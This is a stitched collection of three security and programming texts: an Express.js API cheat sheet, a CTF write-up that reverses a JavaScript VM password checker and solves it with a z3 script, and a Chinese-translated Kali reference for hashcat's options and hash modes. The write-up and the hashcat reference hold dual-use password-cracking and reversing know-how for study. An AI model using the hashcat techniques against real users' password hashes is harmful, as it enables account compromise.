`req.subdomains` | [#](http://expressjs.com/en/4x/api.html#req.subdomains)
`req.xhr` | [#](http://expressjs.com/en/4x/api.html#req.xhr)
#### Method
:-| :-
:-| :-
`req.accepts()` | [#](http://expressjs.com/en/4x/api.html#req.accepts)
`req.acceptsCharsets()` | [#](http://expressjs.com/en/4x/api.html#req.acceptsCharsets)
`req.acceptsEncodings()` | [#](http://expressjs.com/en/4x/api.html#req.acceptsEncodings)
`req.acceptsLanguages()` | [#](http://expressjs.com/en/4x/api.html#req.acceptsLanguages)
`req.get()` | Get HTTP request header fields [#](http://expressjs.com/en/4x/api.html#req.get)
`req.is()` | [#](http://expressjs.com/en/4x/api.html#req.is)
`req.param()` | [#](http://expressjs.com/en/4x/api.html#req.param)
`req.range()` | [#](http://expressjs.com/en/4x/api.html#req.range)
### Response
```js
app.get('/', function (req, res) {
console.dir(res.headersSent) //false
res.send('OK')
console.dir(res.headersSent) //true
})
```
#### Attribute
:-| :-
:-| :-
`res.app` | [#](http://expressjs.com/en/4x/api.html#res.app)
`res.headersSent` | [#](http://expressjs.com/en/4x/api.html#res.headersSent)
`res.locals` | [#](http://expressjs.com/en/4x/api.html#res.locals)
#### Method
:-| :-
:-| :-
`res.append()` | [#](http://expressjs.com/en/4x/api.html#res.append)
`res.attachment()` | [#](http://expressjs.com/en/4x/api.html#res.attachment)
`res.cookie()` | [#](http://expressjs.com/en/4x/api.html#res.cookie)
`res.clearCookie()` | [#](http://expressjs.com/en/4x/api.html#res.clearCookie)
`res.download()` | Prompt for files to download [#](http://expressjs.com/en/4x/api.html#res.download)
`res.end()` | end the response process [#](http://expressjs.com/en/4x/api.html#res.end)
`res.format()` | [#](http://expressjs.com/en/4x/api.html#res.format)
`res.get()` | [#](http://expressjs.com/en/4x/api.html#res.get)
`res.json()` | Send JSON response [#](http://expressjs.com/en/4x/api.html#res.json)
`res.jsonp()` | Send a response with JSONP support [#](http://expressjs.com/en/4x/api.html#res.jsonp)
`res.links()` | [#](http://expressjs.com/en/4x/api.html#res.links)
`res.location()` | [#](http://expressjs.com/en/4x/api.html#res.location)
`res.redirect()` | Redirect request [#](http://expressjs.com/en/4x/api.html#res.redirect)
`res.render()` | render view template [#](http://expressjs.com/en/4x/api.html#res.render)
`res.send()` | Send various types of responses [#](http://expressjs.com/en/4x/api.html#res.send)
`res.sendFile()` | Send a file as an octet stream [#](http://expressjs.com/en/4x/api.html#res.sendFile)
`res.sendStatus()` | [#](http://expressjs.com/en/4x/api.html#res.sendStatus)
`res.set()` | [#](http://expressjs.com/en/4x/api.html#res.set)
`res.status()` | [#](http://expressjs.com/en/4x/api.html#res.status)
`res.type()` | [#](http://expressjs.com/en/4x/api.html#res.type)
`res.vary()` | [#](http://expressjs.com/en/4x/api.html#res.vary)
Example
----
### Router {. row-span-2}
Called for any request passed to this router
```js
router. use(function (req, res, next) {
//.. some logic here .. like any other middleware
next()
})
```
will handle any request ending in `/events`
```js
//depends on where the router "use()"
router. get('/events', (req, res, next) => {
//..
})
```
### Response
The `res` object represents the HTTP response sent by the `Express` application when it receives an HTTP request
```js
app.get('/user/:id', (req, res) => {
res.send('user' + req.params.id)
})
```
### Request
A `req` object represents an `HTTP` request and has properties for the request query string, parameters, body, HTTP headers, etc.
```js
app.get('/user/:id', (req, res) => {
res.send('user' + req.params.id)
})
```
### res. end()
```js
res. end()
res.status(404).end()
```
End the response process. This method actually comes from the Node core, specifically the `response.end()` method of `http.ServerResponse`
### res.json([body])
```js
res.json(null)
res.json({ user: 'tobi' })
res.status(500).json({ error: 'message' })
```
### app.all
```js
app.all('/secret', function (req, res, next) {
console.log('access secret section...')
next() // Pass control to the next handler
})
```
### app.delete
```js
app.delete('/', function (req, res) {
res.send('DELETE request to homepage')
})
```
### app.disable(name)
```js
app.disable('trust proxy')
app.get('trust proxy')
// => false
```
### app.disabled(name)
```js
app.disabled('trust proxy')
// => true
app.enable('trust proxy')
app.disabled('trust proxy')
// => false
```
### app.engine(ext, callback)
```js
var engines = require('consolidate')
app.engine('haml', engines.haml)
app.engine('html', engines.hogan)
```
### app.listen([port[, host[, backlog]]][, callback])
```js
var express = require('express')
var app = express()
app.listen(3000)
```
### Routing
```js
const express = require('express')
const app = express()
//Respond to "hello world" when making a GET request to the homepage
app.get('/', (req, res) => {
res.send('hello world')
})
```
```js
// GET method routing
app.get('/', (req, res) => {
res.send('GET request to the homepage')
})
// POST method routing
app.post('/', (req, res) => {
res.send('POST request to the homepage')
})
```
### Middleware
```js
function logOriginalUrl (req, res, next) {
console.log('ReqURL:', req.originalUrl)
next()
}
function logMethod (req, res, next) {
console.log('Request Type:', req.method)
next()
}
const log = [logOriginalUrl, logMethod]
app.get('/user/:id', log,
(req, res, next)=>{
res.send('User Info')
}
)
```
### Using templates
```js
app.set('view engine', 'pug')
```
Create a `Pug` template file named `index.pug` in the `views` directory with the following content
``` pug
html
the head
title= title
the body
h1=message
```
Create a route to render the `index.pug` file. If the view engine property is not set, the extension of the view file must be specified
```js
app.get('/', (req, res) => {
res. render('index', {
title: 'Hey', message: 'Hello there!'
})
})
```
|
sec-knowleage
|
# Automatic Machine
Category: Reversing, 50 Points
## Description
> You stand before a custom Virtual Machine.
>
> Once you understand the code, the flag will be just there.
>
> The machine is waiting for you at auto-machine.csa-challenge.com
>
> Good Luck!
## Solution
We enter the website and are greeted with a fake SSH shell, implemented in Javascript:
```
ssh 192.12.23.934
Connecting...
ACCESS DENIED! I AM CALLING THE INTERNET POLICE!
Password:
$ test
UNAUTHORIZED LOGIN!
$
```
It looks like we'll have to reverse engineer the shell implementation:
```javascript
a = [3, 3, 71, 17251, 1, 581, 3, 17254, 17276, 17330, 34502, 17252, 18012, 17263, 18015, 18028, 18035, 35263, 18012, 20231, 18017, 17435, 17450, 17433, 34682, 17431, 19842, 17446, 17431, 17453, 17499, 34679, 17428, 17917, 17453, 17431, 17434, 17529, 34679, 17428, 18543, 17433, 16850, 16880, 16956, 34098, 16848, 17906, 16865, 16850, 16884, 16849, 34098, 16849, 16945, 16898, 16853, 16857, 16847, 34096, 16847, 16896, 16891, 17905, 17906, 17981, 35089, 17903, 16881, 17905, 35094, 35091, 35102, 50358, 35092, 33262, 35205, 50359, 50357, 50417, 69591, 50360, 50504, 50366, 50320, 50360, 50320, 69680, 50319, 50385, 50363, 50385, 50439, 50343, 69617, 50388, 52917, 50373, 50254, 50193, 50406, 69614, 50192, 53220, 50245, 53077, 53077, 53247, 68341, 53078, 53354, 53015, 53260, 53241, 53259, 68140, 53259, 52192, 53014, 53016, 53246, 53080, 68152, 53013, 52001, 53058, 52909,
/* <many more numbers...>, */
-8885, -31718, -98167, -57138, -55337, -55760, -1170, -57171, -50005, 20016, -88196, -88319, -88232, 62300, -85014, -83314, 16504, -89403, -90024, -87915, 59621, -89762, -84051, -16256, -22899, -26468, -24993, -35667, -23500, 13690, -10735, -12571, -12626, -12813, -28347, -12570, 22384, 29007, -6485, -6576, -6635, -24117, -6486, -5901, -29023, 17964, 17967, 18016, 1292, 18122, 22694, 22177, -20769, -20966, -21001, 27391, -20776, -20434, 16445, 19592, 19575, 19638, 3304, 19634, 22019, 18495, 18810, 19099, 18768, 2650, 18803, 18803, 18803, -3591, -3580, -3490, -3514, -3514, -3493, -3514, 88, 22, 23, 118, 116, 116, 114, 100, 100, 23, 112, 101, 118, 121, 99, 114, 115, 5, 19, 98, 121, 118, 98, 99, 127, 120, 101, 126, 109, 114, 115, 23, 123, 120, 112, 126, 121, 22]
_g0 = 7
function _f4(_p2, _p1, _p3, _p0) {
for (_g1 = _p1; _g1 < _p3; _g1++) {
_p2[_g1] += _p0;
}
}
function _f3(_p2, _p1, _p3, _p0) {
for (_g1 = _p1; _g1 < _p3; _g1++) {
_p2[_g1] -= _p0;
}
}
function _f2(_p2, _p1, _p3, _p0) {
for (_g1 = _p1; _g1 < _p3; _g1++) {
_p2[_g1] ^= _p0;
}
}
function _f1(_p1, _p0) {
_g2 = _p1[_p0+1]
_g3 = ""
for(_g4 = 0; _g4 < _g2; _g4++) {
_g3+= String.fromCharCode(_p1[_p0+2+_g4] ^ 0x37)
}
return _g3
}
_g5 = [_f4, _f3, _f2];
function _f0(_p1, _p0) {
_g6 = 0;
while(_g6 < _p1.length) {
_g7 = _p1[_g6];
if (_g7 == 5) {
return _f1(_p1, _g6);
break;
}
_g8 = _p1[_g6+1];
_g9 = _p1[_g6+2];
if ((_p0[_g8] % _g9 == 0) == (4 - _g7)) {
_g6 = _p1[_g6+3];
continue;
}
_p0[_g8] = (_p0[_g8] % _g9) ? _p0[_g8] : Math.floor(_p0[_g8]/_g9);
_ga = _p1[_g6+4];
_gb = _p1[_g6+5];
_gc = _p1[_g6+6] ^ _g7-3;
_gd = _p1[_gc];
_g5[_ga](_p1, _g6+_g0, (_gb+1)*_g0, _gd);
_g6+= _g0;
}
}
function sleep (time) {
return new Promise((resolve) => setTimeout(resolve, time));
};
$(function () {
var term = new window.Terminal.Terminal();
term.open(document.getElementById('terminal'));
term.setOption('theme', {
background: '#222',
foreground: '#22da26',
});
function runFakeTerminal() {
if (term._initialized) {
return;
}
term._initialized = true;
term.input = "";
term.prompt = () => {
term.write('\r\n$ ');
};
term.write('\r\n\u001b[37m$\u001b[0m ');
term.onKey(e => {
const printable = !e.domEvent.altKey && !e.domEvent.altGraphKey && !e.domEvent.ctrlKey && !e.domEvent.metaKey;
if (e.domEvent.keyCode === 13) {
prompt(term);
} else if (e.domEvent.keyCode === 8) {
// Do not delete the prompt
if (term._core.buffer.x > 2) {
prev_len = term.input.length
curr_x = term._core.buffer.x
term.input = term.input.substr(0, curr_x-3) +
term.input.substr(curr_x-2);
for (forward=0;forward<prev_len - curr_x +2; forward++) {
term.write('\u001b[C');
}
for(back=0;back<prev_len;back++) {
term.write('\b \b');
}
term.write(term.input);
for(back=0;back<term.input.length - curr_x+3;back++) {
term.write('\u001b[D');
}
}
} else if (e.domEvent.keyCode == 37) {
if (term._core.buffer.x > 2)
term.write(e.key);
}
else if (e.domEvent.keyCode == 39) {
if (term._core.buffer.x < term.input.length + 2)
term.write(e.key);
}
else if (printable && e.domEvent.keyCode != 38 && e.domEvent.keyCode != 40) {
term.input = term.input.substr(0, term.buffer.cursorX-2) +
e.key +
term.input.substr(term.buffer.cursorX-2);
// term.write(e.key);
term.write(term.input.substr(term.buffer.cursorX-2));
for(back=0;back<term.input.length - term.buffer.cursorX+1;back++) {
term.write('\u001b[D');
}
}
});
}
function prompt(term) {
term.write('\r\n');
term.write(_f0(JSON.parse(JSON.stringify(a)),Array.from(term.input).map(x=>x.charCodeAt(0))));
term.input = "";
term.write('\r\n\u001b[37m$\u001b[0m ');
}
sleep(3000).then(runFakeTerminal);
});
```
It looks like the entry point is `_f0(JSON.parse(JSON.stringify(a)),Array.from(term.input).map(x=>x.charCodeAt(0)))`, which takes our password and sends it to `_f0` together with a large number array. `_f0` implements a VM, taking numbers from the array and using them as instructions and data.
The first thing we should do is remove irrelevant code and rename some symbols for easier understanding:
```javascript
step_size = 7
function add_to_arr(vm_arr, from_index, to_index, value) {
for (i = from_index; i < to_index; i++) {
vm_arr[i] += value;
}
}
function subtract_from_arr(vm_arr, from_index, to_index, value) {
for (i = from_index; i < to_index; i++) {
vm_arr[i] -= value;
}
}
function xor_arr(vm_arr, from_index, to_index, value) {
for (i = from_index; i < to_index; i++) {
vm_arr[i] ^= value;
}
}
function decode_message(vm_arr, from_index) {
to_index = vm_arr[from_index+1]
res = ""
for(i = 0; i < to_index; i++) {
res+= String.fromCharCode(vm_arr[from_index+2+i] ^ 0x37)
}
return res
}
action_arr = [add_to_arr, subtract_from_arr, xor_arr];
function test_password(vm_arr, user_input) {
index = 0;
while(index < vm_arr.length) {
_g7 = vm_arr[index];
if (_g7 == 5) {
return decode_message(vm_arr, index);
break;
}
user_input_index = vm_arr[index+1];
_g9 = vm_arr[index+2];
if ((user_input[user_input_index] % _g9 == 0) == (4 - _g7)) {
index = vm_arr[index+3];
continue;
}
user_input[user_input_index] = (user_input[user_input_index] % _g9) ? user_input[user_input_index] : Math.floor(user_input[user_input_index]/_g9);
action_index = vm_arr[index+4];
_gb = vm_arr[index+5];
_gc = vm_arr[index+6] ^ _g7-3;
_gd = vm_arr[_gc];
action_arr[action_index](vm_arr, index+step_size, (_gb+1)*step_size, _gd);
index+= step_size;
}
}
```
Basically the VM starts executing from the array. Each 7 elements of the array belong to a single operation, and the VM uses `index` to go execute these operations one by one. For example, the index into the user input which the VM will currently work on is retrieved from `vm_arr[index+2]`, and the selection of an action function is retrieved from `vm_arr[index+4]`. After the operation is completed, the VM performs `index += 7`, and moves on to the next operation.
The actions that the VM can perform are adding a constant to a sequence of elements, subtracting from a sequence and XORing a sequence.
The VM terminates when it reads a special instruction from the array or when it finishes executing all the operations.
Let's try to understand what the VM would do for the first operation:
```
3, 3, 71, 17251, 1, 581, 3
```
It sets `_g7` to `3`. Then it sets `user_input_index` to `3` as well, meaning that we're going to check `user_input[3]`. It continues by setting `_g9` to `71`.
Now, it checks if `user_input[3] % 71 == 0`. The (boolean) result is compared against a predefined result, which is expressed as `4 - _g7`. Since `_g7` is `3` in our case, the predefined result evaluates to `4 - 3 = 1` and therefore if `user_input[3] % 71 == 0` then the complete condition will be true.
Since we control the user input, we need to understand what happens if the condition evaluates to `true` and what happens if it evaluates to `false`.
If the condition is true, we jump to offset `17251` in the array and execute from there:
```
>>> a[17251]
5
```
This is the stop condition. We can emulate what would happen by calling:
```
_f1(a, 17251)
"UNAUTHORIZED LOGIN!"
```
So this is the failure branch, and we want `user_input[3] % 71 == 0` to be false in this case.
Let's continue analyzing what would happen in case the condition is false.
We then (might) reassign a new value to `user_input[3]`, and continue by reading an action from the current operation. In our example, the action index is `1`, so the action from the action array is `subtract_from_arr`. The rest of the logic is related to executing the action on a slice of the array (and moving to the next operation). This action actually decodes the next operation that will be executed.
Before decoding, the next action is:
```
17254, 17276, 17330, 34502, 17252, 18012, 17263
```
But after decoding (in our example, by subtracting `17251` from the array members between index `7` and `4074`), we get:
```
3, 25, 79, 17251, 1, 761, 12
```
To conclude:
* Every iteration of the loop decodes part of the array
* If the `(user_input[user_input_index] % _g9 == 0) == (4 - _g7)` condition evaluates to true with `vm_arr[index+3] = 17251` then the login is unauthorized.
Given these insights, we can implement a solver using `z3`:
```python
from pwn import *
from z3 import *
from arr import a
import math
import itertools
STEP_SIZE = 7
FAILURE_ADDRESS = 17251
def add_to_arr(vm_arr, from_index, to_index, value):
for i in range(from_index, to_index):
vm_arr[i] += value
def subtract_from_arr(vm_arr, from_index, to_index, value):
for i in range(from_index, to_index):
vm_arr[i] -= value
def xor_arr(vm_arr, from_index, to_index, value):
for i in range(from_index, to_index):
vm_arr[i] ^= value
def decode_message(vm_arr, _p0):
to_index = vm_arr[_p0+1]
res = ""
for i in range(to_index):
res += chr(vm_arr[_p0+2+i] ^ 0x37)
return res
action_arr = [add_to_arr, subtract_from_arr, xor_arr]
def crack_password(vm_arr, solver, key, progress):
index = 0
while(index < len(vm_arr)):
progress.status("Working on index #{}".format(index))
_g7 = vm_arr[index]
if (_g7 == 5):
return decode_message(vm_arr, index)
break
user_input_index = vm_arr[index+1]
_g9 = vm_arr[index+2]
if (vm_arr[index+3] == FAILURE_ADDRESS):
assert((4 - _g7) in [0, 1])
if (4 - _g7):
solver.add(key[user_input_index][-1] % _g9 != 0)
else:
solver.add(key[user_input_index][-1] % _g9 == 0)
# The way to account for the following logic:
# "user_input[user_input_index] = Math.floor(user_input[user_input_index]/_g9);"
# is to create a new z3 variable and add this relationship as a constraint.
# The new variable will be used from now on for future constraints.
# This is the reason that "key" is a list of lists of variables and not a flat list of variables.
k = key[user_input_index][-1]
new_var = Int("{}-{}".format(user_input_index, len(key[user_input_index])+1))
key[user_input_index].append(new_var)
solver.add(new_var * _g9 == k) # Rephrased as multiplication since z3 has problems with division of integers
else:
print (vm_arr[index+3])
action_index = vm_arr[index+4]
_gb = vm_arr[index+5]
_gc = vm_arr[index+6] ^ _g7-3
_gd = vm_arr[_gc]
action_arr[action_index](vm_arr, index+STEP_SIZE, (_gb+1)*STEP_SIZE, _gd)
index+= STEP_SIZE
for key_len in itertools.count():
try:
with log.progress('Trying a key of length {}'.format(key_len)) as progress:
key = [[Int("{}".format(i))] for i in range(key_len)]
solver = Solver()
# all values are printable characters excluding space (33 - 126)
for i in range(key_len):
solver.add(key[i][0] >= ord('!'))
solver.add(key[i][0] <= ord('~'))
crack_password(a.copy(), solver, key, progress)
progress.status("Trying to solve the constraints...")
if solver.check() == sat:
model = solver.model()
res = ""
for i in range(key_len):
res += chr(model[key[i][0]].as_long())
break
except IndexError:
pass
log.success("Found the following password: '{}'".format(res))
```
Running it, we get:
```console
[-] Trying a key of length 36: Failed
[-] Trying a key of length 37: Failed
[-] Trying a key of length 38: Failed
[-] Trying a key of length 39: Failed
[-] Trying a key of length 40: Failed
[+] Trying a key of length 41: Done
[+] Found the following password: 'CSA{w0w_th4t_wa$_re@lly_s1mpLe_wasn7_1t}q'
```
Of course, the accepted flag was `CSA{w0w_th4t_wa$_re@lly_s1mpLe_wasn7_1t}` (without the `q` at the end). For some reason, the VM instructions try to access index #41 of the user input, and that's why the solver had to add an extra character to the solution. In the Javascript implementation, accessing an extra character after the user input is not as fatal as in Python though...
|
sec-knowleage
|
# Hashcat
## Hashcat软件描述
hashcat是世界上最快、最先进的密码恢复工具,支持五种独特的模式攻击超过200种哈希算法。hashcat目前支持Linux、Windows和OSX上的cpu、gpu和其他硬件加速器,并具有支持分布式密码破解的功能。
资料来源:https://github.com/hashcat/hashcat/
[hashcat主页](https://hashcat.net/hashcat/) | [Kali hashcat软件源](http://git.kali.org/gitweb/?p=packages/hashcat.git)
- 作者:atom
- 许可:Expat
### hashcat包含的工具
hashcat - 世界上最快、最先进的密码恢复工具
```
root@kali:~# hashcat --help
hashcat - advanced password recovery
Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...
- [ Options ] -
Options Short / Long | Type | Description | Example
===============================+======+======================================================+=======================
-m, --hash-type | Num | 哈希类型, 见下文 | -m 1000
-a, --attack-mode | Num | 攻击模式, 见下文 | -a 3
-V, --version | | 打印版本信息 |
-h, --help | | 打印帮助 |
--quiet | | 静默输出 |
--hex-charset | | 假定输入的字符集为十六进制表示 |
--hex-salt | | 假定盐值为十六进制表示 |
--hex-wordlist | | 假定字典为十六进制表示 |
--force | | 忽略警告 |
--status | | 自动更新状态显示 |
--status-timer | Num | 设置状态显示更新的间隔秒数 | --status-timer=1
--machine-readable | | 用机器易识别的格式显示状态信息 |
--keep-guessing | | 破解后仍继续猜测 |
--loopback | | 在induct目录增加新的明文 |
--weak-hash-threshold | Num | 指定停止检查弱哈希的门限值 | --weak=0
--markov-hcstat | File | 指定要使用的hcstat文件 | --markov-hc=my.hcstat
--markov-disable | | 禁用markov-chains, 模拟典型的暴力破解 |
--markov-classic | | 启用典型的markov-chains, 不使用每位置模式 |
-t, --markov-threshold | Num | 指定停止接受新的markov-chains的门限值 | -t 50
--runtime | Num | 指定运行多少秒后退出会话 | --runtime=10
--session | Str | 定义会话名 | --session=mysession
--restore | | 恢复会话 |
--restore-disable | | 不写恢复文件 |
--restore-file-path | File | 指定恢复文件路径 | --restore-file-path=my.restore
-o, --outfile | File | 指定输出文件 | -o outfile.txt
--outfile-format | Num | 指定输出文件格式 | --outfile-format=7
--outfile-autohex-disable | | 输出中禁用$HEX[]格式 |
--outfile-check-timer | Num | 设置检查输出文件的时间间隔 | --outfile-check=30
-p, --separator | Char | 设置hashlists和输出文件的分隔符 | -p :
--stdout | | 不破解哈希, 仅打印候选项 |
--show | | 比较hashlist和potfile(已破解的哈希文件); 显示已破解的哈希 |
--left | | 比较hashlist和potfile; 显示未破解的哈希 |
--username | | 启用忽略hashfile中的用户名 |
--remove | | 启用删除已破解的哈希 |
--remove-timer | Num | 设置更新输入哈希文件的时间间隔 | --remove-timer=30
--potfile-disable | | 不写potfile |
--potfile-path | Dir | 指定potfile的路径 | --potfile-path=my.pot
--encoding-from | Code | 指定内部字典的编码 | --encoding-from=iso-8859-15
--encoding-to | Code | 指定内部字典的编码 | --encoding-to=utf-32le
--debug-mode | Num | 指定调试模式(通过使用规则) | --debug-mode=4
--debug-file | File | 指定调试规则输出文件 | --debug-file=good.log
--induction-dir | Dir | 指定用来本地查找的induction目录 | --induction=inducts
--outfile-check-dir | Dir | 指定用来检查明文输出文件的目录 | --outfile-check-dir=x
--logfile-disable | | 禁用日志文件 |
--hccapx-message-pair | Num | 仅从hccapx加载匹配的消息对 | --hccapx-message-pair=2
--nonce-error-corrections | Num | The BF size range to replace AP's nonce last bytes | --nonce-error-corrections=16
--truecrypt-keyfiles | File | 指定Keyfiles, 用逗号分隔 | --truecrypt-key=x.png
--veracrypt-keyfiles | File | 指定Keyfiles, 用逗号分隔 | --veracrypt-key=x.txt
--veracrypt-pim | Num | VeraCrypt personal iterations multiplier | --veracrypt-pim=1000
-b, --benchmark | | 运行基准测试 |
--speed-only | | 返回预计的破解速度, 然后退出 |
--progress-only | | 返回预计的处理步骤内存占用和时间 |
-c, --segment-size | Num | 设置字典文件缓存大小MB | -c 32
--bitmap-min | Num | 设置bitmaps的最小位数 | --bitmap-min=24
--bitmap-max | Num | 设置bitmaps的最大位数 | --bitmap-max=24
--cpu-affinity | Str | 指定CPU, 用逗号分隔 | --cpu-affinity=1,2,3
-I, --opencl-info | | 显示检测到的OpenCL平台/设备信息 | -I
--opencl-platforms | Str | 指定OpenCL平台, 用逗号分隔 | --opencl-platforms=2
-d, --opencl-devices | Str | 指定OpenCL设备, 用逗号分隔 | -d 1
-D, --opencl-device-types | Str | 指定OpenCL设备类型, 用逗号分隔 | -D 1
--opencl-vector-width | Num | 手动覆盖OpenCL向量宽度 | --opencl-vector=4
-w, --workload-profile | Num | 指定工作负载配置文件, 见下面 | -w 3
-n, --kernel-accel | Num | 手动调优工作负载, 设置外部循环大小 | -n 64
-u, --kernel-loops | Num | 手动调优工作负载, 设置内部循环小小 | -u 256
--nvidia-spin-damp | Num | Workaround NVIDIAs CPU burning loop bug, in percent | --nvidia-spin-damp=50
--gpu-temp-disable | | 禁用温度和风扇速度监测报警 |
--gpu-temp-abort | Num | 当GPU温度达到指定摄氏度时退出 | --gpu-temp-abort=100
--gpu-temp-retain | Num | 尝试保持GPU温度在指定的摄氏度 | --gpu-temp-retain=95
--powertune-enable | | 启用电力调优. 完成后恢复设置 |
--scrypt-tmto | Num | Manually override TMTO value for scrypt to X | --scrypt-tmto=3
-s, --skip | Num | 略过开始处的若干单词 | -s 1000000
-l, --limit | Num | 从略过处开始限制指定的单词数 | -l 1000000
--keyspace | | Show keyspace base:mod values and quit |
-j, --rule-left | Rule | 对字典文件的每个单词从左侧应用单条规则 | -j 'c'
-k, --rule-right | Rule | 对字典文件的每个单词从右侧应用单条规则 | -k '^-'
-r, --rules-file | File | 对字典文件的每个单词应用多条规则 | -r rules/best64.rule
-g, --generate-rules | Num | 生成随机规则 | -g 10000
--generate-rules-func-min | Num | Force min X functions per rule |
--generate-rules-func-max | Num | Force max X functions per rule |
--generate-rules-seed | Num | 设置随机数种子 |
-1, --custom-charset1 | CS | 用户自定义字符集 ?1 | -1 ?l?d?u
-2, --custom-charset2 | CS | 用户自定义字符集 ?2 | -2 ?l?d?s
-3, --custom-charset3 | CS | 用户自定义字符集 ?3 |
-4, --custom-charset4 | CS | 用户自定义字符集 ?4 |
-i, --increment | | 启用增量掩码模式 |
--increment-min | Num | 从指定处开始增量掩码 | --increment-min=4
--increment-max | Num | 在指定处停止增量掩码 | --increment-max=8
- [ Hash modes ] -
# | Name | Category
======+==================================================+======================================
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
1300 | SHA-224 | Raw Hash
1400 | SHA-256 | Raw Hash
10800 | SHA-384 | Raw Hash
1700 | SHA-512 | Raw Hash
5000 | SHA-3 (Keccak) | Raw Hash
600 | BLAKE2b-512 | Raw Hash
10100 | SipHash | Raw Hash
6000 | RIPEMD-160 | Raw Hash
6100 | Whirlpool | Raw Hash
6900 | GOST R 34.11-94 | Raw Hash
11700 | GOST R 34.11-2012 (Streebog) 256-bit | Raw Hash
11800 | GOST R 34.11-2012 (Streebog) 512-bit | Raw Hash
10 | md5($pass.$salt) | Raw Hash, Salted and/or Iterated
20 | md5($salt.$pass) | Raw Hash, Salted and/or Iterated
30 | md5(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated
40 | md5($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated
3800 | md5($salt.$pass.$salt) | Raw Hash, Salted and/or Iterated
3710 | md5($salt.md5($pass)) | Raw Hash, Salted and/or Iterated
4010 | md5($salt.md5($salt.$pass)) | Raw Hash, Salted and/or Iterated
4110 | md5($salt.md5($pass.$salt)) | Raw Hash, Salted and/or Iterated
2600 | md5(md5($pass)) | Raw Hash, Salted and/or Iterated
3910 | md5(md5($pass).md5($salt)) | Raw Hash, Salted and/or Iterated
4300 | md5(strtoupper(md5($pass))) | Raw Hash, Salted and/or Iterated
4400 | md5(sha1($pass)) | Raw Hash, Salted and/or Iterated
110 | sha1($pass.$salt) | Raw Hash, Salted and/or Iterated
120 | sha1($salt.$pass) | Raw Hash, Salted and/or Iterated
130 | sha1(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated
140 | sha1($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated
4500 | sha1(sha1($pass)) | Raw Hash, Salted and/or Iterated
4520 | sha1($salt.sha1($pass)) | Raw Hash, Salted and/or Iterated
4700 | sha1(md5($pass)) | Raw Hash, Salted and/or Iterated
4900 | sha1($salt.$pass.$salt) | Raw Hash, Salted and/or Iterated
14400 | sha1(CX) | Raw Hash, Salted and/or Iterated
1410 | sha256($pass.$salt) | Raw Hash, Salted and/or Iterated
1420 | sha256($salt.$pass) | Raw Hash, Salted and/or Iterated
1430 | sha256(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated
1440 | sha256($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated
1710 | sha512($pass.$salt) | Raw Hash, Salted and/or Iterated
1720 | sha512($salt.$pass) | Raw Hash, Salted and/or Iterated
1730 | sha512(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated
1740 | sha512($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated
50 | HMAC-MD5 (key = $pass) | Raw Hash, Authenticated
60 | HMAC-MD5 (key = $salt) | Raw Hash, Authenticated
150 | HMAC-SHA1 (key = $pass) | Raw Hash, Authenticated
160 | HMAC-SHA1 (key = $salt) | Raw Hash, Authenticated
1450 | HMAC-SHA256 (key = $pass) | Raw Hash, Authenticated
1460 | HMAC-SHA256 (key = $salt) | Raw Hash, Authenticated
1750 | HMAC-SHA512 (key = $pass) | Raw Hash, Authenticated
1760 | HMAC-SHA512 (key = $salt) | Raw Hash, Authenticated
14000 | DES (PT = $salt, key = $pass) | Raw Cipher, Known-Plaintext attack
14100 | 3DES (PT = $salt, key = $pass) | Raw Cipher, Known-Plaintext attack
14900 | Skip32 (PT = $salt, key = $pass) | Raw Cipher, Known-Plaintext attack
15400 | ChaCha20 | Raw Cipher, Known-Plaintext attack
400 | phpass | Generic KDF
8900 | scrypt | Generic KDF
11900 | PBKDF2-HMAC-MD5 | Generic KDF
12000 | PBKDF2-HMAC-SHA1 | Generic KDF
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
12100 | PBKDF2-HMAC-SHA512 | Generic KDF
23 | Skype | Network Protocols
2500 | WPA/WPA2 | Network Protocols
4800 | iSCSI CHAP authentication, MD5(CHAP) | Network Protocols
5300 | IKE-PSK MD5 | Network Protocols
5400 | IKE-PSK SHA1 | Network Protocols
5500 | NetNTLMv1 | Network Protocols
5500 | NetNTLMv1+ESS | Network Protocols
5600 | NetNTLMv2 | Network Protocols
7300 | IPMI2 RAKP HMAC-SHA1 | Network Protocols
7500 | Kerberos 5 AS-REQ Pre-Auth etype 23 | Network Protocols
8300 | DNSSEC (NSEC3) | Network Protocols
10200 | CRAM-MD5 | Network Protocols
11100 | PostgreSQL CRAM (MD5) | Network Protocols
11200 | MySQL CRAM (SHA1) | Network Protocols
11400 | SIP digest authentication (MD5) | Network Protocols
13100 | Kerberos 5 TGS-REP etype 23 | Network Protocols
121 | SMF (Simple Machines Forum) > v1.1 | Forums, CMS, E-Commerce, Frameworks
400 | phpBB3 (MD5) | Forums, CMS, E-Commerce, Frameworks
2611 | vBulletin < v3.8.5 | Forums, CMS, E-Commerce, Frameworks
2711 | vBulletin >= v3.8.5 | Forums, CMS, E-Commerce, Frameworks
2811 | MyBB 1.2+ | Forums, CMS, E-Commerce, Frameworks
2811 | IPB2+ (Invision Power Board) | Forums, CMS, E-Commerce, Frameworks
8400 | WBB3 (Woltlab Burning Board) | Forums, CMS, E-Commerce, Frameworks
11 | Joomla < 2.5.18 | Forums, CMS, E-Commerce, Frameworks
400 | Joomla >= 2.5.18 (MD5) | Forums, CMS, E-Commerce, Frameworks
400 | WordPress (MD5) | Forums, CMS, E-Commerce, Frameworks
2612 | PHPS | Forums, CMS, E-Commerce, Frameworks
7900 | Drupal7 | Forums, CMS, E-Commerce, Frameworks
21 | osCommerce | Forums, CMS, E-Commerce, Frameworks
21 | xt:Commerce | Forums, CMS, E-Commerce, Frameworks
11000 | PrestaShop | Forums, CMS, E-Commerce, Frameworks
124 | Django (SHA-1) | Forums, CMS, E-Commerce, Frameworks
10000 | Django (PBKDF2-SHA256) | Forums, CMS, E-Commerce, Frameworks
3711 | MediaWiki B type | Forums, CMS, E-Commerce, Frameworks
13900 | OpenCart | Forums, CMS, E-Commerce, Frameworks
